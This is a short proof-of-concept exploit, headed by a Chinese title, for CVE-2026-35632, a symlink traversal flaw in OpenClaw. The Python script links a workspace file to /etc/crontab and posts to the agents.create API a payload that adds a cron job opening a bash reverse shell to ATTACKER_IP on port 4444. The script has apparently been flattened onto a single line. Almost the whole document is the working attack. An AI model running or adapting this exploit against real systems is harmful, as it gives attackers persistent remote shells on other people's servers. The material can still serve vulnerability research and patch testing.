CVE-2026-35632 OpenClaw符号链接遍历致代码执行漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-35632: OpenClaw Symlink Traversal import os import requests TARGET_URL = "http://target-openclaw-instance/api/agents" WORKSPACE_ID = "target_workspace_id" PAYLOAD = "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n" def exploit(): print(f"[*] Attempting to exploit CVE-2026-35632 against {TARGET_URL}") # Step 1: Create a symlink in the workspace pointing to a sensitive file # Assuming the attacker has access to create files in the workspace symlink_target = "/etc/crontab" print(f"[*] Creating symlink IDENTITY.md pointing to {symlink_target}...") # In a real scenario, the attacker creates the symlink: ln -s /etc/crontab IDENTITY.md # inside the workspace directory. # Step 2: Trigger the vulnerability via agents.create to append content headers = {"Content-Type": "application/json"} data = { "workspace_id": WORKSPACE_ID, "name": "malicious_agent", # The content to be appended to the symlink target "identity_content": PAYLOAD } print("[*] Sending payload to agents.create endpoint...") try: response = requests.post(TARGET_URL, json=data, headers=headers) if response.status_code == 200: print("[+] Payload sent successfully. Check if crontab was updated.") else: print(f"[-] Request failed with status {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()